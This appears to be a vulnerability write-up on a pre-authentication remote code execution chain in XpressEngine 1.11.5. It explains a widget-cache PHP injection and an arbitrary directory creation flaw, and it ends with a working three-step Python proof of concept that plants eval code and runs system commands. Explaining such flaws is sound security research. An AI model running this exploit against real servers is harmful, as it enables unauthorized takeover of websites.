The Pre-Auth RCE vulnerability consists of two different vulnerabilities. In this post, we will explain the root cause of each vulnerability and the principles that make attacks possible.
The test environment can be set up using the Dockerfile below.
FROM php:7.2-apache
ADD https:
WORKDIR /var/www/html
RUN tar xf xe.1.11.5.tar.gz
RUN chmod 707 /var/www/html
RUN sed -i 's/http:\/\/deb.debian.org\/debian/http:\/\/mirror.kakao.com\/debian/g' /etc/apt/sources.list
RUN apt update && apt -y install libpng-dev default-mysql-server
RUN docker-php-ext-install gd mysqli
RUN a2enmod rewrite
RUN service mysql start
CMD apache2ctl start && /usr/sbin/mysqld --skip-grant-tables --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/x86_64-linux-gnu/mariadb19/plugin --user=mysql --skip-log-error --pid-file=/run/mysqld/mysqld.pid --socket=/var/run/mysqld/mysqld.sock
2–1. Lack of Parameter Filtering in Widget Cache Functionality
function dispWidgetInfo()
{
if(Context::get('skin')) return $this->dispWidgetSkinInfo();
$oWidgetModel = getModel('widget');
$widget_info = $oWidgetModel->getWidgetInfo(Context::get('selected_widget'));
Context::set('widget_info', $widget_info);
$this->setLayoutFile('popup_layout');
$this->setTemplateFile('widget_detail_info');
}
The widgetModel
class is implemented in the modules/widget/widget.view.php
. The dispWidgetInfo
method of this class is responsible for setting widget properties, and on line 27 of the method code, it calls the getWidgetInfo
method from the widget model instance to obtain widget information.
At this point, we can see that the selected_widget
parameter value is used as an argument for the method call.
function getWidgetPath($widget_name)
{
$path = sprintf('./widgets/%s/', $widget_name);
if(is_dir($path)) return $path;
return "";
}
function getWidgetInfo($widget)
{
$widget_path = $this->getWidgetPath($widget);
if(!$widget_path) return;
$xml_file = sprintf("%sconf/info.xml", $widget_path);
if(!file_exists($xml_file)) return;
$cache_file = sprintf(_XE_PATH_ . 'files/cache/widget/%s.%s.cache.php', $widget, Context::getLangType());
if(file_exists($cache_file)&&filemtime($cache_file)>filemtime($xml_file))
{
@include($cache_file);
return $widget_info;
}
$oXmlParser = new XmlParser();
$tmp_xml_obj = $oXmlParser->loadXmlFile($xml_file);
$xml_obj = $tmp_xml_obj->widget;
if(!$xml_obj) return;
$buff = '$widget_info = new stdClass;';
if($xml_obj->version && $xml_obj->attrs->version == '0.2')
{
$buff .= sprintf('$widget_info->widget = "%s";', $widget);
$buff .= sprintf('$widget_info->path = "%s";', $widget_path);
$buff .= sprintf('$widget_info->title = "%s";', $xml_obj->title->body);
$buff .= sprintf('$widget_info->description = "%s";', $xml_obj->description->body);
$buff .= sprintf('$widget_info->version = "%s";', $xml_obj->version->body);
sscanf($xml_obj->date->body, '%d-%d-%d', $date_obj->y, $date_obj->m, $date_obj->d);
$date = sprintf('%04d%02d%02d', $date_obj->y, $date_obj->m, $date_obj->d);
$buff .= sprintf('$widget_info->date = "%s";', $date);
$buff .= sprintf('$widget_info->homepage = "%s";', $xml_obj->link->body);
$buff .= sprintf('$widget_info->license = "%s";', $xml_obj->license->body);
$buff .= sprintf('$widget_info->license_link = "%s";', $xml_obj->license->attrs->link);
$buff .= sprintf('$widget_info->widget_srl = $widget_srl;');
$buff .= sprintf('$widget_info->widget_title = $widget_title;');
if(!is_array($xml_obj->author)) $author_list[] = $xml_obj->author;
else $author_list = $xml_obj->author;
for($i=0; $i < count($author_list); $i++)
{
$buff .= '$widget_info->author['.$i.'] = new stdClass;';
$buff .= sprintf('$widget_info->author['.$i.']->name = "%s";', $author_list[$i]->name->body);
$buff .= sprintf('$widget_info->author['.$i.']->email_address = "%s";', $author_list[$i]->attrs->email_address);
$buff .= sprintf('$widget_info->author['.$i.']->homepage = "%s";', $author_list[$i]->attrs->link);
}
}
else
{
$buff .= sprintf('$widget_info->widget = "%s";', $widget);
$buff .= sprintf('$widget_info->path = "%s";', $widget_path);
$buff .= sprintf('$widget_info->title = "%s";', $xml_obj->title->body);
$buff .= sprintf('$widget_info->description = "%s";', $xml_obj->author->description->body);
$buff .= sprintf('$widget_info->version = "%s";', $xml_obj->attrs->version);
sscanf($xml_obj->author->attrs->date, '%d. %d. %d', $date_obj->y, $date_obj->m, $date_obj->d);
$date = sprintf('%04d%02d%02d', $date_obj->y, $date_obj->m, $date_obj->d);
$buff .= sprintf('$widget_info->date = "%s";', $date);
$buff .= sprintf('$widget_info->widget_srl = $widget_srl;');
$buff .= sprintf('$widget_info->widget_title = $widget_title;');
$buff .= '$widget_info->author[0] = new stdClass;';
$buff .= sprintf('$widget_info->author[0]->name = "%s";', $xml_obj->author->name->body);
$buff .= sprintf('$widget_info->author[0]->email_address = "%s";', $xml_obj->author->attrs->email_address);
$buff .= sprintf('$widget_info->author[0]->homepage = "%s";', $xml_obj->author->attrs->link);
}
$extra_var_groups = $xml_obj->extra_vars->group;
if(!$extra_var_groups) $extra_var_groups = $xml_obj->extra_vars;
if(!is_array($extra_var_groups)) $extra_var_groups = array($extra_var_groups);
foreach($extra_var_groups as $group)
{
$extra_vars = $group->var;
if(!is_array($group->var)) $extra_vars = array($group->var);
if($extra_vars[0]->attrs->id || $extra_vars[0]->attrs->name)
{
$extra_var_count = count($extra_vars);
$buff .= sprintf('$widget_info->extra_var_count = "%s";', $extra_var_count);
for($i=0;$i<$extra_var_count;$i++)
{
unset($var);
unset($options);
$var = $extra_vars[$i];
$id = $var->attrs->id?$var->attrs->id:$var->attrs->name;
$name = $var->name->body?$var->name->body:$var->title->body;
$type = $var->attrs->type?$var->attrs->type:$var->type->body;
$buff .= sprintf('$widget_info->extra_var->%s = new stdClass;', $id);
if($type =='filebox')
{
$buff .= sprintf('$widget_info->extra_var->%s->filter = "%s";', $id, $var->type->attrs->filter);
$buff .= sprintf('$widget_info->extra_var->%s->allow_multiple = "%s";', $id, $var->type->attrs->allow_multiple);
}
$buff .= sprintf('$widget_info->extra_var->%s->group = "%s";', $id, $group->title->body);
$buff .= sprintf('$widget_info->extra_var->%s->name = "%s";', $id, $name);
$buff .= sprintf('$widget_info->extra_var->%s->type = "%s";', $id, $type);
$buff .= sprintf('$widget_info->extra_var->%s->value = $vars->%s;', $id, $id);
$buff .= sprintf('$widget_info->extra_var->%s->description = "%s";', $id, str_replace('"','\"',$var->description->body));
$options = $var->options;
if(!$options) continue;
if(!is_array($options)) $options = array($options);
$options_count = count($options);
for($j=0;$j<$options_count;$j++)
{
$buff .= sprintf('$widget_info->extra_var->%s->options["%s"] = "%s";', $id, $options[$j]->value->body, $options[$j]->name->body);
if($options[$j]->attrs->default && $options[$j]->attrs->default=='true')
{
$buff .= sprintf('$widget_info->extra_var->%s->default_options["%s"] = true;', $id, $options[$j]->value->body);
}
if($options[$j]->attrs->init && $options[$j]->attrs->init=='true')
{
$buff .= sprintf('$widget_info->extra_var->%s->init_options["%s"] = true;', $id, $options[$j]->value->body);
}
}
}
}
}
$buff = '<?php if(!defined("__XE__")) exit(); '.$buff.' ?>';
FileHandler::writeFile($cache_file, $buff);
if(file_exists($cache_file)) @include($cache_file);
return $widget_info;
}
The getWidgetInfo
method of the widgetModel
class initializes the $widget_path
variable by calling the getWidgetPath
method implemented in the same source code on line 126. The initialized string is influenced by external input values and takes the form ./widgets/EXTERNAL_INPUT/
.
The $widget_path
variable initialized using external user input values is used on line 179 of the getWidgetInfo
method.
$buff .= sprintf('$widget_info->path = "%s";', $widget_path);
This code is responsible for dynamically generating widget cache PHP scripts. If the input value is set to ";MALICIOUS_CODE;#
, it becomes $widget_info->path = "";MALICIOUS_CODE;#";
allowing additional PHP code to be inserted into the original code.
However, due to the external input filtering implemented in XE, attacks using the above method are not easily feasible.
function _filterRequestVar($key, $val, $do_stripslashes = true, $remove_hack = false)
{
if(!($isArray = is_array($val)))
{
$val = array($val);
}
$result = array();
foreach($val as $k => $v)
{
$k = escape($k);
if($remove_hack && !is_array($v)) {
if(stripos($v, '<script') || stripos($v, 'lt;script') || stripos($v, '%3Cscript'))
{
$result[$k] = escape($v);
continue;
}
}
if($key === 'page' || $key === 'cpage' || substr_compare($key, 'srl', -3) === 0)
{
$result[$k] = !preg_match('/^[0-9,]+$/', $v) ? (int) $v : $v;
}
elseif(in_array($key, array('mid','search_keyword','search_target','xe_validator_id'))) {
$result[$k] = escape($v, false);
}
elseif($key === 'vid')
{
$result[$k] = urlencode($v);
}
elseif(stripos($key, 'XE_VALIDATOR', 0) === 0)
{
unset($result[$k]);
}
else
{
$result[$k] = $v;
if($do_stripslashes && version_compare(PHP_VERSION, '5.4.0', '<') && get_magic_quotes_gpc())
{
if (is_array($result[$k]))
{
array_walk_recursive($result[$k], function(&$val) { $val = stripslashes($val); });
}
else
{
$result[$k] = stripslashes($result[$k]);
}
}
if(is_array($result[$k]))
{
array_walk_recursive($result[$k], function(&$val) { $val = trim($val); });
}
else
{
$result[$k] = trim($result[$k]);
}
if($remove_hack)
{
$result[$k] = escape($result[$k], false);
}
}
}
return $isArray ? $result : $result[0];
}
The external input filtering code is located in the Context
class implemented in the classes/context/Context.class.php
. This class is responsible for managing parameters and environment variables.
The _filterRequestVar
method of the Context
class filters external input values using the escape
function.
function escape($str, $double_escape = true, $escape_defined_lang_code = false)
{
if(!$escape_defined_lang_code && isDefinedLangCode($str)) return $str;
$flags = ENT_QUOTES | ENT_SUBSTITUTE;
return htmlspecialchars($str, $flags, 'UTF-8', $double_escape);
}
The escape
function is implemented in the config/func.inc.php
and blocks dangerous data input using PHP's htmlspecialchars function.
Ultimately, due to the escape
function, double quote strings are replaced with HTML Entity values, making it impossible to terminate the original widget cache code with double quotes and add PHP code. However, the escape
function filter can be bypassed using PHP's Complex (curly) syntax.
...
function getWidgetPath($widget_name)
{
$path = sprintf('./widgets/%s/', $widget_name);
if(is_dir($path)) return $path;
return "";
}
...
function getWidgetInfo($widget)
{
$widget_path = $this->getWidgetPath($widget);
if(!$widget_path) return;
$xml_file = sprintf("%sconf/info.xml", $widget_path);
if(!file_exists($xml_file)) return;
$cache_file = sprintf(_XE_PATH_ . 'files/cache/widget/%s.%s.cache.php', $widget, Context::getLangType());
...
Beyond filter bypass, another issue exists. The getWidgetInfo
method of the widgetModel
class calls PHP's is_dir and file_exists functions before executing the widget cache generation code to check if the widget module actually exists.
Therefore, to execute vulnerable code, an additional vulnerability is needed to create a directory named ${MALICIOUS_CODE}
at an arbitrary path.
# linux
root@ubuntu:~# cd none_exists/../../../
-bash: cd: none_exists/../../../: No such file or directory
# windows
C:\Users\Administrator>cd none_exists/../../../
C:
However, on Windows systems, Directory Traversal is possible for non-existent directories, making attacks possible without additional vulnerabilities.
2–2. Arbitrary Directory Creation
The rssController
class of the vulnerable RSS module is implemented in the modules/rss/rss.controller.php
.
function triggerRssUrlInsert()
{
$oModuleModel = getModel('module');
$total_config = $oModuleModel->getModuleConfig('rss');
$current_module_srl = Context::get('module_srl');
$site_module_info = Context::get('site_module_info');
if(is_array($current_module_srl))
{
unset($current_module_srl);
}
if(!$current_module_srl) {
$current_module_info = Context::get('current_module_info');
$current_module_srl = $current_module_info->module_srl;
}
if(!$current_module_srl) return new BaseObject();
$oRssModel = getModel('rss');
$rss_config = $oRssModel->getRssModuleConfig($current_module_srl);
if($rss_config->open_rss != 'N')
{
Context::set('rss_url', $oRssModel->getModuleFeedUrl(Context::get('vid'), Context::get('mid'), 'rss'));
Context::set('atom_url', $oRssModel->getModuleFeedUrl(Context::get('vid'), Context::get('mid'), 'atom'));
}
if(Context::isInstalled() && $site_module_info->mid == Context::get('mid') && $total_config->use_total_feed != 'N')
{
if(Context::isAllowRewrite() && !Context::get('vid'))
{
$request_uri = Context::getRequestUri();
Context::set('general_rss_url', $request_uri.'rss');
Context::set('general_atom_url', $request_uri.'atom');
}
else
{
Context::set('general_rss_url', getUrl('','module','rss','act','rss'));
Context::set('general_atom_url', getUrl('','module','rss','act','atom'));
}
}
return new BaseObject();
}
The $rss_config
variable containing RSS configuration information is initialized on line 43 by calling the getRssModuleConfig
method of the RSS model instance, where the $current_module_srl
variable used as an argument is the module_srl
parameter value.

function writeFile($filename, $buff, $mode = "w")
{
$filename = self::getRealPath($filename);
$pathinfo = pathinfo($filename);
self::makeDir($pathinfo['dirname']);
...
function makeDir($path_string)
{
if(self::exists($path_string) !== FALSE)
{
return TRUE;
}
if(!ini_get('safe_mode'))
{
@mkdir($path_string, 0755, TRUE);
@chmod($path_string, 0755);
}
...
Later in the code execution flow, external input data reaches PHP's directory creation function mkdir.
function _filterRequestVar($key, $val, $do_stripslashes = true, $remove_hack = false)
{
if(!($isArray = is_array($val)))
{
$val = array($val);
}
$result = array();
foreach($val as $k => $v)
{
$k = escape($k);
if($remove_hack && !is_array($v)) {
if(stripos($v, '<script') || stripos($v, 'lt;script') || stripos($v, '%3Cscript'))
{
$result[$k] = escape($v);
continue;
}
}
if($key === 'page' || $key === 'cpage' || substr_compare($key, 'srl', -3) === 0)
{
$result[$k] = !preg_match('/^[0-9,]+$/', $v) ? (int) $v : $v;
}
...
The Context->_filterRequestVar
method that filters external input values based on HTTP requests forcibly converts data to int type when the parameter key ends with srl
. This prevents passing arbitrary strings to the mkdir function. If a string is input, it gets replaced with the integer value 0. (line 1423)
However, there exists a logical vulnerability that allows escaping the foreach loop using code on line 1414, which executes before the forced type conversion.
By constructing the module_srl
value as Arbitrary_Directory_Path/<script
, the continue
code on line 1417 is executed, avoiding the forced type conversion code execution and allowing the creation of any desired arbitrary directory.
2–3. PoC
from requests import get
cmd = 'id'
target = 'http://127.0.0.1/'
# step 1 : make directory
# /var/www/html/files/cache/${eval($_GET[0])}
get('{}?mid=board&module_srl=/../../../../../../${{eval($_GET[0])}}/%3Cscript'.format(target))
# step 2 : write cache
# /var/www/html/files/cache/widgets/content.ko.cache.php
get('{}?act=dispWidgetInfo&selected_widget=../files/cache/${{eval($_GET[0])}}/../../../widgets/content'.format(target))
# step 3 : remote code execute
print get('{}?act=dispWidgetInfo&selected_widget=../widgets/content&0=system($_GET[1]);&1={}'.format(target, cmd)).text.split('<!DOCTYPE html>')[0]